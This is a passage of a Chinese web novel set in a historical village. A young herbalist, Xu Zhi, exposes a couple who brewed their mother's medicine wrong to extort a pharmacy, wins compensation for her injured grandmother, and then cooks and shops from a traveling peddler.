若是按我说的去做,应当是轻了些,不会如此严重。” 谢医师听到许芷的话,怀疑的眼光看向她。 “你懂医药?” 许芷不卑不亢的说道:“略懂。” “可别是你乱说,让人家熬错了药。” 谢医师看着许芷年龄不大,却敢说的样子,不是很信任她。 许芷知道自己的样子,看起来没有说服力。 便将药方直接背了出来,还附带上熬药的注意事项。 说完挑眉问谢医师:“是否还需要我去将这些药材一一认出,你才信我几分。” 谢医师没想到许芷是真懂,摆摆手直言不必。 扭头问张立柱:“熬药的药渣是否带了?我看过药渣也能清楚些。” 张立柱摇摇头道:“没带。” 谢医师叹了口气,无奈道:“如此这般,无法得知究竟是哪里出了岔子。” “这该如何啊?” 张立柱一副颓然的样子。 许芷想了想问:“这几天你母亲用药前后有没有什么奇怪的地方?或是熬药的方式真的听着我的改了吗?” “没啥奇怪的啊。” 张立柱仔细的想着: “那日我嫂子一听说你是看了药渣看出来的,就满口答应按你说的来,我没见她一熬就是一上午了。 还说什么药渣扔远一点,病也跟着走远,特意跑很远去倒药渣。” “我记得你们的药渣之前还留着。”许芷问道。 张立柱点头称是。 许芷突然想到了什么,可又不确定,也不敢说。 只得试探的说:“你嫂子知道我看药渣就能看出有问题之后,她就把药渣扔远了?” 张立柱:“对,我嫂子还特意问我你是不是看药渣看出来的。” 许芷一瞬间想明白了一些事。 她不再多问,而是道:“如今紧要的是把病治好,莫要纠结其他。” 谢医师也十分赞同许芷的话:“没错,这丫头说得对。 你母亲的病现下严重,你若是肯信我,我重新开个方子,写清楚熬药的方式,你们回去一定谨遵医嘱,再试试。” 张立柱一听母亲病重,便立刻就要答应下来。 他对谢医师道:“大夫麻烦你了,给我母亲开个方子,这一次我们一定按您说的来。” 得了准话,谢医师立刻到案前开始写方子。 不消一会儿,谢医师拿着新的方子递给了张立柱,让他去抓药。 许芷拦住张立柱道:“我帮你去抓药,你先去劝劝你哥嫂。” 张立柱点了点头,走出去缓和的说道:“哥,现在最重要的是将娘的身子养好,我们重新开一副药试试。” 一听这话,张丰收暴跳如雷的指着张立柱的鼻子骂。 “你个蠢货,娘都让他们快治死了,你还敢信他们,让他们开方子!” 说完他对着铺子里大声喊:“今日之事你们若不赔我纹银五十两,我决不罢休!” 许芷看着张丰收那张脸,没有一丝一毫母亲病重的担忧。 只有眼冒绿光的贪婪。 心中的想法更加证实了。 可这毕竟是别人家的事,自己不可胡说话。 她站在柜台前等着抓药,也时刻注意着外面的情况。 忽然瞧见了祖母,她赶忙出去,把祖母拉进了铺子。 简单的将刚刚发生的事情说了出来,还说让祖母不要管,躲远点的好。 可偏偏张家那对夫妻不让她们置身事外,李春草瞄见了邓老太。 好似恶狼一般冲进了铺子,抓住邓老太尖声道:“正好你们祖孙俩都在,赔钱!” 听到赔钱,邓老太甚是不解。 许芷不想让祖母掺和就是因为这个,她也不想让祖母担心,故而李春草说的那些话她并未告知祖母。 可李春草不管不顾的,将刚刚的话又说了一遍。 邓老太一听怒上心头,可面上故作不解,焦急的问道: “张家媳妇儿,你婆母不是重病缠身,怎么你不急着给婆母治病,而是急着......” 有些话不必说透,围观的众人自会想象。 果然此话一说,人群中便有异样的声音出现。 “是啊,听这话说,这亲娘都病入膏肓,这怎么不先治病,先来闹啊。” “要我说这怀清堂的伙计也算是好言好色,可这夫妻俩撒泼打滚的,实在不像是要解决事情的样子。” “嗨呀,没听这人说了,要纹银五十两!这可不是小数目,若是得手,只怕是半辈子的不愁。” 听到这话,自觉羞愤的李春草,将怒气都发泄到了邓老太的身上。 趁其不备,一把撞了上去。 第25章 算计落空 邓老太不防,整个人往后倒撞上了柜台。 瞬间哀嚎出声,许芷迅速判断伤情,得知是腰伤。 许芷拜托铺子里的伙计将祖母抬到了床上,筋骨这块她并不擅长。 只能让谢医师帮忙看。 谢医师看过后,确定无大碍,只需几副膏药贴过即可,这两天需卧床休息。 许芷听到放下心来,长舒一口气。 这才有心力去找李春草算账。 而李春草看到许芷过来,心里虽发虚,但还是气焰嚣张的说道:“你让我婆母不好过,我也让你祖母吃吃苦头。” 许芷冷眼瞧着她,并未直接追究这件事,反而缓缓说道: “方才我祖母撞那一下,我心头一滞,慌乱的将祖母安置好,并未顾得上找你问责。” 李春草看许芷只是弱弱的说着,当这丫头是个软弱不堪的。 嘲讽一笑,刺道:“若不是你,我婆母定然不会如此严重,你还怎有脸找我问责。” 许芷并不否认,而是继续说:“当下我便明白,若是至亲抱恙,当下的念头应是先着急治病,进而才能顾得上其他。” 李春草一听,顿感不妙,想要开口为自己辩解。 许芷并未给她机会,而是压迫感十足的盯着她,一字一句清晰的说道: “怪不得你要推我祖母,原是戳中了心思,报复而已。” “你放屁!” 李春草神色激动,些许结巴:“我、我们那是、那是怕怀清堂不认。” 许芷轻笑一声,嘲讽意味十足。 “若是疑心药物,那便将药渣带来,找个大夫一看便知,而不是空口白牙,硬在这里哭闹不止。” “我......” 看着李春草说不出话的样子,许芷继续道: “莫说你不懂,五日前,你偶然得知我通过药渣看出熬药方式不对,此后药渣你便丢的远远地,意欲何为,难说呢。” 听到许芷的话,张立柱满眼震惊的看着嫂子,“嫂子,你.......” 此时刘管事过来了,李春草没了气势,不敢对上,躲在了张丰收的身后。 而尽管他们的盘算已经明了,张丰收也一副死猪不怕开水烫的样子。 看到气势汹汹的张丰收,身材矮小的刘管事一点不落下风。 来之前他已经问过店里的人,也核对过单子,现下看不出他们任何的错处。 刘管事仰起脸眯着眼看张丰收,镇定的问:“是你闹事?” 张丰收看着侏儒一般的刘管事,丝毫不将其放在眼里。 不屑一笑,问道:“你就是管事的?” 刘管事不卑不亢道:“正是在下。” “想必你过来的时候,店里的伙计早就跟你通风报信了,我不多要五十两,只要给了我,我立刻走人。” 张丰收说的很干脆。 张立柱没想到这种话能从自己的亲哥的嘴里说出。 “原来你们真的是故意的,只是为了钱。” 他愤怒的上前想要一拳打在张丰收的脸上,可是张丰收躲了过去。 张丰收丝毫不顾及张立柱的愤怒,反而说道:“二弟,你要这样的话,原本我打算分你五两,如今可没有了。” 刘管事看透一切的轻笑一声,看着张丰收道:“你说我们卖假药,你可有证据?” 张丰收理直气壮道:“怎么没有,我娘吃了你们的药,一点没好,这不是证据?” 刘管事:“我们铺子,从开药方到抓药中间一共经五人手,医师开了药方,先给柜前的小厮抄录三份。 一份存档,一份抓药,一份给看病的人留着。 抓药时,也是两人合作,一人抓药另一人核实,每确认一种药材,画圈。 抓好药后再交由两人查验,一人念方子,一人看药材。 每一道程序皆有人签字保证,不可能出错,我刚刚来之前已经查阅了你母亲的药单,并未有任何问题。” “反正我娘没好,你们就是要赔钱!” 张丰收见说不过,只得无赖。 刘管事见惯了大风大浪,他嗤笑一声:“赔钱行啊,你去报官,呈上证据,若官府判定是我们的过错,我给你一百两。” 话到此处,刘管事收了脸上的笑意,换上了一张严肃的面容。 “可若是你蓄意讹诈,只怕你要赔我千两不止。” 听到这话,张丰收夫妻俩不敢说话,千两这辈子都见不到,只是说出口就够吓到他们。 本就是他们蓄谋,见讨不到什么好,张丰收撂下狠话,逃之夭夭。 解决了问题,刘管事就离开了。 离开前看着杜仲脸上的伤,吩咐他去账房支五两当赔偿。 许芷看着还愣着的张立柱,上前提醒道:“家事回家再说,可张奶奶的病耽误不得。” 张立柱这才如梦初醒,回到了铺子里,拿上药方去拿药。 可他身上并未有银钱,许芷看着他窘迫的样子,问过账房替他垫了钱。 张立柱感激的看着许芷,保证的说道:“你放心,这钱我一定还。” 许芷嗯一声,去看祖母的情况。 邓老太这会儿好多了,已经没有刚才那种尖锐的痛感。 许芷小心的将祖母扶起,拿着膏药就要回去。 因为张老太病情严重,要在药铺住上两天,观察病情。 所以张立柱看邓老太行动不便的样子,主动说道:“小芷,我把婶子背到城门口吧,要不你们这也不方便。” 邓老太心系着张老太还严重着,本想拒绝。 却听张立柱说道:“若不是我那嫂子,您也不会遭此痛苦,算是我赔罪。” 许芷心想祖母这么难受,自己只是扶着走到城门口,恐怕祖母也难以消受,若是这样确实方便许多。 “那就麻烦张叔了。” 得了许芷的话,张立柱跟亲娘说了情况,便过来背着邓老太跟许芷一起往城门口走。 许芷这次什么都没买,怕拿着东西回去的时候不好带着祖母回家。 但是路过包子摊的时候,她买了十个肉包子,自己留了四个,剩下的都给了张立柱。 张立柱本来还不收,许芷劝道:“就是你不吃,张奶奶也得吃,本就病着,再吃不好恐难恢复。” 如此,张立柱只好收下。 在心中暗暗发誓,一定要加倍还回去。 第26章 索要赔偿 正好他们到城门口的时候,牛车要出发。 张立柱赶紧叫住了牛车,看着她们祖孙俩都上了车离开,他才回去。 巧合的是,回去的牛车上,许芷又见到了来时的那个妇人。 那个妇人自然是早早就看见了许芷和邓老太。 也看到了邓老太腰被伤到不方便的样子。 因做了早上那档子亏心事,还以为这伤跟自己有关,只恨不得将头埋起来不叫许芷发现。 许芷看她这鹌鹑模样,故意高声跟祖母说道: “若是让我见到了早上来时撞你那妇人,我定要她赔偿,若不是她,祖母的腰怎会如此。” 邓老太也恶趣味的配合着孙女,干嚎两声。 “哎呦,我的腰哎,真疼啊。” 那妇人一听,恨不能钻进地里,只怕许芷看到她,让她赔钱。 许芷看着她惊慌怕事的样子,心中只觉痛快。 这种小心眼的人,就该被好好吓一吓,便不敢在作恶。 到了村口,许芷扶着祖母小心地回家。 到家后,伺候着祖母上了床,许芷用刚学来的手法,给祖母好好按了按。 伺候完祖母,许芷丢下句出去有事,便出了山坳。 而等到许芷出去后,邓老太缓慢的起来,将身上的衣物脱下,拿出了藏在身上的布。 找出了自己的针线和剪子,开始给许芷做衣服。 而许芷出了山坳,直接去了里正家,将张家老大媳妇撞了祖母的事情说了清楚。 故作期期艾艾道: “里正,我就剩一个祖母给我撑着腰,你可要为我做主啊。” 里正一听这话还了得,当即就带着许芷去了隔壁张家讨公道。 许芷自然不怕张家那对夫妻俩,可是毕竟身弱。 张家老大那般无赖,不过就是个欺软怕硬的,看他对待杜仲和刘管家的态度便可知。 若是里正跟自己一同前往,自然事情要好办些。 许芷不怕事,但就怕麻烦扯皮。 果然,那夫妻俩见到里正,嘴脸一个比一个客气。 听闻里正的来意,张丰收立刻暴怒的踹向妻子李春草。 “你个败家娘们,干的这叫什么事儿!” 说完,谄笑着对里正说:“这娘们我好好教训,以后定然不敢了。” 许芷一听,看来这是打算就这么混过去,那她可不愿。 里正也听出了这话里的潦草之意,不满的说道: “打媳妇儿算什么本领,你既然让人家邓老太太受了伤,自然该赔偿。” 一听赔偿李春草不愿意,尖声争辩: “那邓老太本就上了年纪,我就是轻轻一推,谁知道她是不是本就有旧疾,特来赖我家。” 许芷听完嘲讽一笑,这笑声格外清晰,剩下的三人都闻声看她。 “自己是小人,就觉得人人坏心思。” 话音落下,许芷抬起眼皮,冷冽的眼神看向李春草,好似在看什么脏物,讽刺的话张口就来。 “你做得出故意熬错药,让婆母病重,从而去讹诈药铺的事,我可做不出。” 听闻这个,里正惊讶的看了眼李春草。 而张丰收听得自家的糗事被里正得知,瞬间火气四溅。 一脚踹在了李春草的腰间。 这一脚可不同于刚刚那做给别人看的一脚,而是实打实的用足力气。 李春草毫无防备,整个人好像只鳖,趴在地上疼的久久不能起来。 里正被张丰收这样子吓了一跳,怒斥他:“你这是做什么?” 张丰收满不在乎说道:“她祖母伤了腰,我让我媳妇儿也伤了腰,一伤抵一伤,怎么样行了吧。” 最后三个字咬牙切齿的看着许芷说的。 里正听到这疯子般的言论,无话可说,只问许芷怎么想。 毕竟他不是苦主,抵不抵得当然是苦主说了算。 许芷迎着张丰收警告的眼神,轻启红唇:“不行。” 话音落下,张丰收恶狠狠地看着许芷问:“你说什么?” “是我祖母受了伤,该怎么补偿当然是我说了算,你伤了你媳妇是你自己想当然,与我无关。” 许芷说的淡然,丝毫不惧怕,声音清晰有力,话语有理有据。 里正都对她另眼相看,赞同道:“没错,许丫头,你放心说,我在这帮你撑着。” 张丰收不愿的想说什么,却被里正呵止。 许芷平静的说出了自己的要求: “我并不多要你什么,看诊费我便不说了,只是给我祖母开了十二副膏药,一副三十文,共三百六十文,你们把这钱给我拿出来就行。” 里正一听,觉得许芷这样甚是良心,立刻做主就这样。 张丰收虽然不愿,碍于里正的面子不得不拿出了这钱给了许芷。 给的时候,他贴近许芷低声威胁道:“家里只有你们祖孙俩,晚上睡觉可千万要关好门。” 许芷听到面不改色,心中觉得他蠢。 本来许芷还想着防范他私下报复,可他这样说出来,那可不一样了。 张丰收看到许芷这个样子,只当是被吓到了。 嘴角刚勾起得意一笑,下一刻却听到许芷将他说的话大声喊了出来。 “什么?你要晚上去报复我跟祖母!” 还故作害怕的跟里正讲:“里正爷爷,若是我出了事,你可要第一时间报官抓他啊。” 说完,眼睛里闪过狡黠的笑容,看向面色难看的张丰收。 里正当然看到了张丰收给钱的时候,停顿了一下。 对许芷所说不疑有他,怒不可遏的吼道:“做错了事,还敢威胁人家? 你爹去得早,是我这个大伯没管教好你,我在这警告你,你若是敢去伤害他们祖孙两个,别怪我大义灭亲!” 随着大义灭亲四个字落下,里正的手掌也重重的拍在了桌子上。 随后,他不再管张丰收夫妻两个,而是护着许芷回了家。 回家前还特意去自己家的鸡窝里摸了几个鸡蛋带着。 回去的路上,他跟许芷保证道: “许丫头你放心,我会让村里信得过的壮年,去你们家门口看护几晚上,不行我就亲自去,绝不可能让你们祖孙有危险。” 许芷听到这话,面露感动,对里正连连道谢。 她将此事直白说出也是为此,将她跟张丰收的矛盾摆到台面上,还有人见证。 那么一旦自己出了事,不管是不是张丰收所为,他都逃不开被怀疑,如此,张丰收便不敢轻举妄动。 只是里正的负责让许芷惊讶,竟为了让她放心,要让人来帮忙守夜。 第27章 香椿鸡蛋 给许芷送到家后,里正还特意慰问了一下邓老太。 家长里短的唠了一会儿,将鸡蛋放下便走了。 邓老太还惊讶于,里正会主动来看自己。 看着桌子上的鸡蛋,邓老太跟许芷说:“要不这鸡蛋不吃了,咱们垒个鸡窝,孵小鸡?” 本来今日进城,许芷也想着去看看,买点鸡鸭鹅养。 又能吃蛋又能吃肉。 只是没想到今日这么多事,就什么都没添置。 但是祖母都伤到了,还是吃点鸡蛋补一补的好。 许芷摇摇头说道:“改天我去买鸡崽,孵的话太麻烦了,这两天我先把鸡窝垒起来。” 听到孙女自有打算,她就不多言了。 不过说起买,邓老太长吁短叹的可惜道:“也不知你弄那些能挣个多少,给我付了药钱,还给张老太也付了药钱。” 许芷收拾着屋里,没说花了多少,只是说够,让祖母别操心。 邓老太一听更愁了:“如何不操心,我这不帮你,还连累了你。 那些草药你起早贪黑的上山去摘,攒了这么久才有这些,被我这老婆子花完了可还行?” 许芷停下了收拾的动作,认真的看着祖母道: “若不是祖母,我只怕没有今天,莫说今日花这些,就是让我去借钱,去讨饭,为了祖母我也做的。” 邓老太听到这话,眼眶倏地湿润了,偏偏还嘴硬说是年龄大,眼睛不抗风。 许芷也不拆穿她,配合着她,将门关上。 屋子里暗了许多,许芷背过身去,无言听着祖母隐约的抽泣声。 许久,听到祖母叫自己,许芷走过去坐在床边。 邓老太拿过自己的枕头,翻过来,从枕头里面拿出了一个香囊塞到了许芷手里。 许芷不用看,一摸都知道里面是钱。 她惊讶看向祖母,“这不是祖父的......” “你小舅舅的份我留着了,你这份拿好。 也不知道能不能活到你嫁人那天,这嫁妆不如给了你,你自己想怎么花都成。” 许芷还忘不掉那日祖母听到他们要送这钱的时候,祖母痛心疾首的样子,可如今却愿意把这钱给了自己。 她好像也感受到祖母说的风,直直的冲进眼睛,眼眶涩涩的,泪水就要涌出来。 许芷尽力忍着不掉眼泪,将手里的钱还给祖母。 拿出张丰收赔的钱:“祖母,不用给我,咱们有钱,这是我去张家让他们赔的钱。” 邓老太可是知道张家老大夫妇的无赖样子,一听立刻担心的问许芷是不是被为难了。 同时也清楚了里正为何来家里看她了。 关切又责备的跟许芷说:“日后莫要如此,你一个姑娘家,对上无赖毁三分。” 许芷听了宽慰祖母道:“放心祖母,我特意叫上里正一起去的,定不会让自己陷入危险境地。” 邓老太听了骄傲的摸着许芷的头发,笑道:“你现在是个机灵的。” 许芷听了笑着认同,眼看天色不早了,她站起身出去做饭。 其实她不是不会做饭,只是她好像没这方面的灵根,做的饭味道一言难尽。 就算是会做的在她旁边说着、指导着,她做出来也勉强能吃而已。 许芷心想炒鸡蛋不难,何况还有些祖母腌的香椿。 直接腌的香椿碎跟鸡蛋打在一起,炒个香椿鸡蛋,再蒸点米饭。 一个菜肯定是不够吃的,上次祖母做的大肠还有些,热一热也算一个菜。 决定了做什么,许芷的动作也很快。 她先是生了火,将灶点着。 在锅中弄了一半的水先煮着,然后从米袋子挖了够分量的米,去河边淘过,加入适当的水,回来放在了这个锅的篦子上蒸着。 开始准备菜,她拿了四个鸡蛋,挖了一勺的香椿碎倒入鸡蛋里,搅和匀了先放在一边。 炒鸡蛋快得很,所以她等到能闻到米香,才要炒菜。 油要多一点,鸡蛋才能膨的起来。 她倒过油,又觉得过于多了,祖母看到定然要说。 又弄回去了点,看到锅底的油冒了小泡,便将鸡蛋倒了进去。 油温合适,鸡蛋迅速的膨胀起来,她没着急动鸡蛋,等到鸡蛋液都成型了,才用铲子将鸡蛋弄小块些。 然后香椿炒鸡蛋就成了,她快速地将鸡蛋盛出。 又趁着这个锅热了大肠,很快,两道菜就端上了桌。 等到晚上邓耧子来的时候,看到许芷围着围裙做饭,还惊讶了一瞬。 当得知是母亲腰不舒服,赶紧进屋去看母亲。 邓老太不想让儿子担心,就没说这伤怎么来的,只说是年龄大了不中用。 “吃饭了。” 许芷将饭菜都端上桌,分筷子。 邓耧子扶着母亲出了屋。 邓老太看着许芷做的饭,不吝啬的夸道:“小指儿做的不错。” 邓耧子也说:“好久不尝小芷的手艺,还想嘞。” 只是这话语在鸡蛋进嘴的时候,两个人都沉默了。 咸,非同一般的咸。 看到两人的反应,许芷也意识到什么,尝了一口,吃了快半碗米饭。 邓耧子笑着缓和道:“小芷做饭就是下饭,这是生怕我跟娘吃不饱。” 许芷尴尬的笑了笑,没说话,沉默的吃着米。 最后那盘炒鸡蛋还是被他们两个吃完了,当然许芷蒸的米本来多了,这下也吃完了。 许芷有些抱歉的说道:“舅舅,没有你明早的饭了。” 他听到许芷这样说,不在乎的说道:“无事,明早我过来吃也行。” 邓耧子他们新开了一个活,去隔壁村子盖房子,离得近早上不用像之前那样起那么早。 许芷点点头去收拾碗筷。 在舅舅走的时候,拦住了对方。 许芷开口问:“舅舅,你认识木工吗?打一套桌椅板凳要多少钱?” 本来她是想着攒够了盖房子的钱,一下都添置了。 可她今天看着祖母坐在低矮的石头上吃饭,那不舒服的样子,许芷于心不忍。 所以才想着问问舅舅,邓耧子跟着人家盖房子,自然对这些要知道一些。 邓耧子没想到许芷会问这个,他今天也注意到了这个,想着等这次的活计结束了,直接做好给她们送来。 他倒是真的认识不错的木工,所以他说:“小芷,这个你别管了,舅舅操心着呢。” 许芷摇摇头,可话还没说完,舅舅就直接走了。 她只能作罢,想着改天自己去找人问问。 第28章 野菜包子 而邓耧子刚出了山坳,就被人拉住了。 夜幕里,邓耧子以为是什么贼人,他反手钳住了对方的脖子。 却听到对方开口说:“邓家的快放开,是我,里正。” 邓耧子一听是里正的声音慌张松开了手,忙问道:“没事吧,里正。” 里正揉着脖子直咳嗽。 邓耧子给他顺着后背,无奈说道:“这黢黑,您突然抓住我,吓我一跳,以为是什么不轨之人,下次您直接叫我,别上手。” 里正顺气多了才开口道:“我这不是怕突然开口吓到你。” 邓耧子一听抿抿唇,无奈的喘口粗气,心想这不更吓人,还差点伤到里正。 要是叫一声,撑死他吓一下,但是里正肯定没事。 里正吞了口唾沫,将今天许芷去张家要赔偿的事情说了个清楚。 邓耧子一听立刻就要去找张丰收算账,里正好说歹说才劝住了。 还解释说:“我并不是因为那是我侄儿,才拦着你,而是许丫头已经把这件事了了,你要是再去,理亏的就是你。” “那我就忍了?” 邓耧子不算暴脾气的人,甚至是那种好说话的。 但这是在别人不招惹他的前提下。 要是别人故意挑事,他也不怕事。 “我来跟你说不是为了让你去寻仇,是让你多多照顾你娘和你外甥女,祖孙俩不容易,我也会看着我的侄儿的。” 里正苦口婆心的说道。 邓耧子思索片刻,还是忍下了,跟里正说道:“我知道了,今晚我就在这山坳住,里正你也赶紧回去吧” 听到邓耧子这么说,里正放心的走了。 快到家门口的时候,又去张丰收家里,敲打了一番才回家。 三更天的时候,许芷起夜看到了靠在门外睡着的小舅舅。 听到开门声,邓耧子眼睛惺忪,看到是许芷,朦胧的说:“外甥女,起夜啊?” 许芷点了点头,从屋里拿出了床被子给邓耧子裹上。 等到许芷回来的时候,看到舅舅将自己裹成了粽子,她缓慢小声的回了屋。 第二天早上,许芷醒的时候,祖母已经在做饭了。 许芷赶紧起床,匆忙走出来,要去接祖母的手做饭。 “祖母,让我来就行,你得去卧床歇着。” 邓老太笑着将她推过。 “今天腰好多了,能做得。” 她可不想吃那咸的发齁的菜了。 而且,确实今天醒的时候,腰没有昨日那么疼,简单的做饭还是能行的。 许芷看祖母确实活动无碍,自己那做饭水平就别嚯嚯东西了。 就自觉的担起了劈柴添火的活。 很快,邓老太就做好了饭,她将野菜切碎炒了炒做馅,包了野菜包子。 又煮了一锅米粥,加上之前腌的香椿咸菜,简单的一顿早餐就好了。 吃饭的时候,许芷想起昨晚看到的小舅舅,刚张嘴想问人呢。 就看到邓耧子从山坳口进来了。 “娘我来吃饭啦。” 许芷有些愣怔,看着小舅舅坐下吃饭,还朝她眨眨眼。 她虽然疑惑,但显然小舅舅并不想让祖母知道昨晚的事情。 多少她能猜到些缘由,无非就是不想让祖母担惊受怕。 许芷对这样的处理乐见其成,故而她装作不知情,只是吃自己的饭。 邓老太做的野菜包子虽然是纯素,却有种别样的香味,许芷一口气吃了三个包子。 听起来好像不多,可是邓老太做饭实在,一个包子有邓耧子的手掌大。 所以许芷吃的可不少,只是吃了这包子,粥是无论如何都喝不下了。 许芷只喝了半杯的茶水顺顺,粥一点没动。 邓老太也不勉强孙女喝,又倒回了锅里,晌午热了还能喝。 吃过饭,许芷并不打算上山去。 山上的草药她薅的差不多了,得养养再说。 她想着下坪村进城这么不方便,自然不可能缺了什么,硬等着集的时候进城。 附近肯定就有卖基础家用的,而且应当是有走村串巷的卖货郎。 所以她想问问娇娇,这附近有没有卖鸡崽鸭崽的。 要是有,出去这一趟还能将乾坤屋里的东西往外拿拿,就说是买的。 想着买东西,她又在脑海里将赚的钱理一理。 两次卖草药,共赚了四两七钱余五十文。 第一次添置东西花去四百六十七文,这一次帮张立柱垫付药费诊费一两三钱。 祖母的膏药钱张家赔了,看诊费五十文。 还有这两次做牛车一共花了八文钱,除去头一次是祖母给了两文钱,实际花了六文。 一来二去共花了一两八钱余二十三文,剩二两九钱余二十七文。 算清楚之后,许芷打算那二两存起来,剩余的就是家用。 许芷前头这么想着,后脚王茹娇就兴奋的来找许芷。 “小芷,卖货郎来啦,去看看买糖吃呀。” 王茹娇还怕许芷不去,寻思着说用自己的压岁钱给她买,没想到许芷一听立刻答应了下来。 只是许芷可不是为了吃糖,卖货郎的担子里可不止有吃的,还有用的,她想去看看有没有什么能买的。 跟祖母说了声,两个人就结伴出了山坳。 路上许芷问王茹娇:“娇娇,咱们村子近些地方有没有卖鸡蛋和鸡崽的。” “有啊,上坪村的刘家,专卖鸡崽鸭崽呢。” 王茹娇说完突然脸色变了,小心翼翼的看了许芷一眼。 “那个,你从前说过不让我提上坪村,我这是没过脑子就说出来了。” 许芷听到这话一脸懵,“为何?” 这倒把王茹娇问懵了。 “不是你从前说,你爹抛弃了你,这辈子你都不想回上坪村,更不想听到有关上坪村的一切。” 许芷顿了一下,深吸一口气,满不在意的回道: “从前,我总认为那是我爹不可能真的不要我,心存幻想才会那样说,如今心里不在意了,去了也无妨。” 王茹娇似懂非懂,“可你从前恨极了,怎么会心存幻想呢?如今倒像是松了口的样子。” 许芷看着王茹娇,有些头疼的挠了挠头发,有些语重心长的说道:“爱之深恨之切,娇娇你不懂是好事。” 看着王茹娇还是一知半解的样子,她直接道:“总之,下午你带我去买就成。” 许芷都这么说了,王茹娇当然是只能答应了。 第29章 卖货郎哎 说话间,两人到了卖货郎所在的位置。 还未走近,许芷已经听到拨浪鼓的声音,混着卖货郎的花式贯口。 那一副好嗓子,唱出来格外婉转动听,甚是吸引人。 “麻糖子糖芝麻糖哎~瓜子花生闲话唠哎~ 皂儿膏扇子斗笠缸,锄头竹耙地里忙唉~ 吃的用的我都有哎~腊肉活鱼不多见嘞~” 许芷听着觉得有趣儿,慢悠悠的走过去。 卖货郎机灵的很,看到她们两个人走过来,笑脸相迎。 “两位天仙下凡的小娘子,想要点什么呀?” 一句话说的,王茹娇笑的红了脸。 不等她俩说要什么,卖货郎看她俩正值豆蔻年华,主动开始推销起了东西。 拿出一精致小盒,特意打开往她们俩鼻子前晃了晃,馨香扑鼻。 “这可是我新得的好面脂,那些个城里的贵人都用这个,脸光滑的嘞,好像是那剥了壳的鸡蛋。” 精致小巧的盒子,带上这香味,还有卖货郎诱惑的言语,王茹娇一下就看上了,忙问多少钱。 卖货郎嘿嘿一笑:“今日遇见仙女小娘子,是我的福气,所以给娘子个诚意价,五百文。” 王茹娇一听五百文倒吸一口凉气,尴尬的一笑,故作恍然大悟。 “嘶,我突然记起上次我嫂子给我一盒还未用完,就不买了,有其他的好东西吗?” 对于这种突变的态度,卖货郎心里门清。 但能做生意,卖货郎定然是个会弄事的,他笑着应承并不恼。 “是嘞,一看小娘子就是常用的。” 转身拿些便宜的吃食给王茹娇看。 王茹娇买了点芝麻糖和炒货,瓜子花生什么的。 而许芷只是在后面看着,零嘴什么的,她不感兴趣,面脂也不喜用。 卖货郎看着她无动于衷的样子,知道她应当是想买些用的。 很有眼力见的说道:“这位小娘子,我这还有皂儿膏、盆、篮、笤帚什么的,咱自家用的东西也应有尽有。” 许芷一听立刻来了兴趣,她跟祖母这一阵儿都是去河边清水洗脸。 她的脸是会有油脂的那种,若只是清水洗面,依旧油光满面。 看起来好像是一直在劳累出汗,让人觉得不精神。 问过皂儿膏和盆的价钱,许芷要了一块皂儿膏和两个盆,一个洗脸一个洗脚。 又买了个笤帚,总不能一直用那草扫地。 许芷看到卖货郎的担子后面好像有农具,她开口问道:“可有锄头?” “自然有的。” 卖货郎将他有的农具都拿出来,锄头、竹耙、木叉、铲子。 拿的时候,还顺道拿出了压在上面的马扎和竹笊篱。 许芷一看,还说要凳子呢,这不是来了。 家里那桌子本来就是个矮桌,配上马扎就行。 最终许芷要了四个马扎、一把锄头、一把竹耙、一个铲子。 铲子是为了上山采草药方便。 许芷又看到卖货郎的架子上还挂了两块腊肉,鲜肉不好保存,买一次也不方便,不如买点腊肉。 她吃饭还是想吃点荤腥。 所以又要了一块腊肉。 皂儿膏五文一块,盆十五文一个,马扎二十五文一个,锄头七十五文一把,竹耙三十五文,小铲子二十五文,腊肉一块两斤八十文。 许芷这些个共三百五十文,她利索的付了钱。 卖货郎本来想着多给王茹娇推销,因为看穿着,并不能看出许芷是个大客户。 没想到许芷买了这么多东西,卖货郎笑的都有些谄媚。 接过钱之后,他大气的送了许芷一个竹篦子梳头用,走之前还抓了两把瓜子塞给许芷。 “下次想要啥还找我哈。” 卖货郎冲许芷挤眉弄眼的,已经认定了这个大客户。 许芷暗叹这个卖货郎真是块做生意的好料子,嘴甜大方有眼力见。 她将免费得来的瓜子给王茹娇分了一把,王茹娇不要。 倒是把自己买的那些个瓜子花生,给许芷抓了不少。 其他的糖零嘴她有意分享,但是许芷不嗜甜就拒绝了。 买完东西两人收获颇丰的回了家。 邓老太看着许芷拿着满当当的东西,惊的一拍手站起来去帮孙女拿。 “怎得买这么多东西?” 许芷道:“都是用的。” 两人将东西都放好,邓老太皱眉看许芷:“怎得没给自己买点啥?” 许芷转头疑惑看祖母,指着盆和皂儿膏那些,理所应当的说道:“这不都是我用的。” 邓老太恨铁不成钢的说道:“这都是家用,那卖货郎那东西那么多,就没你想吃的,想用的?” “吃的?” 许芷反问出声,哦的一声恍然大悟道:“有的。” 说着拿出了那块腊肉。 “我们今儿有肉吃,祖母。” 又把王茹娇给的那些瓜子花生,混着卖货郎那一把拿了出来。 看到这些,邓老太脸色才缓和了些。 毕竟十四五岁一个孩子,定然是吃嘴的时候。 接着却听得许芷说:“娇娇给的,祖母你吃。” 邓老太无奈,这孩子太懂事了,太像个大人了,一点都没了之前那天真无暇的样子。 既然买了肉,中午邓老太就做上。 她想多吃些日子,而且中午就她跟孙女俩人,也吃不了太多。 所以就切了几片腊肉,放在了米饭上一起蒸了。 一人一碗就够吃,不用额外再做什么菜。 蒸好以后,她又给每一碗里倒了一点酱油。 腊肉的油脂在蒸的过程中沁入米饭,混合这米饭的香味,光是闻着都让人馋瘾大发。 用勺子拌开,酱油的颜色混着亮晶晶的油脂,让米饭呈现出亮眼的褐色,令人食欲大开。 许芷早就迫不及待了,此时拌开更是一口接一口。 邓老太看着孙女狼吞虎咽的样子,特意给她倒了杯水。 慈祥的笑着叮嘱她:“慢点吃。” 她在旁边缓慢地吃着,看着许芷吃的满足,她心里也满足。 邓老太上了年纪,其实更爱吃些软烂的面条。 但是她发现孙女现在更爱吃米饭,就常做米饭了。 很快许芷就吃了个干净,等着祖母吃完一起收拾。 只是等的时候,许芷发现祖母吃米饭有些慢。 她开口道:“祖母,我吃面也行。” 邓老太放下碗筷,不赞同的说道:“早上是依照我口味做的粥,晚上是依照你舅舅的口味做饼或包子,中午轮也该轮到你了,况且不是日日都是米饭,无碍。” 许芷闻言不再说什么。 第30章 买小鸡崽 等到祖母吃完,她去刷过碗收拾完,跟祖母说:“祖母,我跟娇娇约好下午去买些个鸡崽,等我回来。” 邓老太本在靠着枕头歇晌,一听这话,猛地一下起身,说道:“还没垒鸡窝呢。” 许芷已经出发了,只有声音堪堪传了回来。 